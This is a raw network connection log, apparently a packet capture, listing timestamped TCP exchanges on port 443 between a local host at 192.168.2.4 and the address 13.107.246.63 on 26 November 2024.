Nov 26, 2024 08:56:31.170325041 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.170861006 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.170866013 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.275646925 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.276292086 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.276359081 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.276735067 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.276748896 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.285891056 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.286585093 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.286659002 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.287067890 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.287081003 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.506485939 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.510288000 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.510359049 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.510442972 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.536725044 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.536803961 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.564903975 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.564971924 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.565133095 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.571506977 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.606977940 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.607021093 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.607506990 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.607527971 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.608128071 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.608135939 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.611365080 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.614662886 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.614723921 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.614748955 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.614768982 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.614782095 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.614788055 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.707601070 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.707638025 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.707731962 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.708575964 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.708590031 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.720124960 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.723319054 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.723370075 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.723454952 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.728394985 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.728442907 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.728477001 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.728492022 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.729537010 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.733397961 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.733485937 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.733675957 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.733700991 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.733719110 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.733727932 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.909035921 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.909085035 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.909292936 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.984798908 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.984833956 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.993006945 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.993052006 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.993119001 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.993221998 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.993235111 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.023706913 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.029331923 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.029377937 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:32.029393911 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.029407978 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.029455900 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:32.029786110 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:32.029797077 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.032704115 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:32.032732010 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:32.032795906 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:32.033117056 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:32.033129930 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.389463902 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.390963078 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.391010046 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.391419888 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.391428947 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.493235111 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.494496107 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.494533062 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.495073080 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.495078087 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.833564043 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.836679935 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.836815119 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.837251902 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.837277889 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.837291956 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.837299109 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.841253996 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.841306925 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.841383934 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.842164993 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.842178106 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.887638092 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.888489962 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.888503075 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.888937950 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.888943911 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.891225100 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.892503977 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.892529011 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.892970085 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.892976999 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.936887980 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.936963081 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.937012911 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.937041044 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.937103033 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.937140942 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.940630913 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.940654993 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.940665960 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.940670967 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.952893972 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.952964067 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.953030109 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.953483105 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:33.953507900 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:33.999716043 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.006942034 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.006958008 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.007433891 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.007441998 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.340818882 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.343427896 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.343650103 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.343828917 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.347642899 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.347692966 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.347697973 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.347735882 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.433190107 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.433224916 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.433238029 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.433244944 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.434755087 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.437623978 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.437624931 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.437657118 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.437671900 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.440673113 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.443100929 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.482345104 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.482345104 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.482363939 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.482373953 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.627439022 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.627492905 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.627590895 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.628798962 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.628891945 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.628974915 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.629345894 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.629359961 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.629841089 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.629856110 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.629976988 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.629980087 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.630028963 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:34.630214930 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:34.630229950 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:35.688215017 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:35.688659906 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:35.688683033 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:35.689094067 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:35.689099073 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:35.736171961 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:35.736941099 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:35.737021923 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:35.737530947 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:35.737545967 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.143016100 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.146151066 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.146230936 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.146745920 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.146763086 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.146773100 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.146778107 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.150437117 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.150480032 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.150612116 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.150873899 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.150896072 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.181164980 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.181205988 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.181276083 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.181279898 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.181324005 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.181619883 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.181658030 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.181709051 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.181724072 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.184714079 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.184762955 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.184824944 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.185069084 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.185085058 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.411340952 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.411618948 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.412415028 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.412436962 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.413050890 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.413057089 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.413321972 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.413328886 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.413697004 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.413702965 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.475047112 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.475977898 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.476058960 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.476433039 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.476454020 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.856704950 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.858819008 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.860219002 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.860296011 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.861906052 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.861984968 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.862670898 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.862694025 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.862708092 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.862715960 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.864151001 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.864159107 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.864171028 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.864176035 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.893285036 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.893328905 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.893398046 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.893853903 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.893868923 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.894449949 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.894553900 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.895304918 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.895657063 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.895685911 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.931047916 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.934166908 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.934215069 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:36.934288979 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.993177891 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:36.993202925 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.001363039 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.001411915 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.001481056 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.001708984 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.001732111 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.868752956 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.869539022 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.869559050 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.870379925 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.870384932 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.966387987 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.966857910 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.966912985 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:37.967341900 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:37.967358112 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.303879976 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.303950071 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.304289103 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.304470062 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.304488897 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.307497025 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.307538033 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.307811975 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.308753967 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.308768034 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.410363913 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.413705111 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.413763046 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.413764954 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.413811922 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.414587021 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.414609909 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.414624929 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.414633036 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.417644978 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.417685032 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.417751074 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.417903900 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.417920113 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.611047983 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.612257004 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.612278938 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.612720013 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.612726927 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.676352978 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.677475929 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.677509069 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.678246021 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.678252935 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.719049931 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.720946074 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.720977068 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:38.721560001 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:38.721565962 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.046616077 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.049778938 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.049849033 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.050029993 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.050050974 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.050062895 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.050069094 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.052861929 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.052901983 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.053055048 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.053653955 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.053667068 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.120935917 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.124000072 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.124061108 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.124139071 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.124139071 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.124165058 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.124178886 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.126864910 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.126895905 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.126981020 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.127099991 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.127114058 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.154700994 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.157903910 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.157958984 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.157968044 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.161120892 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.161253929 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.161278009 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.161290884 CET	50032	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.161300898 CET	443	50032	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.166373968 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.166426897 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:39.166582108 CET	50037	443	192.168.2.4	13.107.246.63
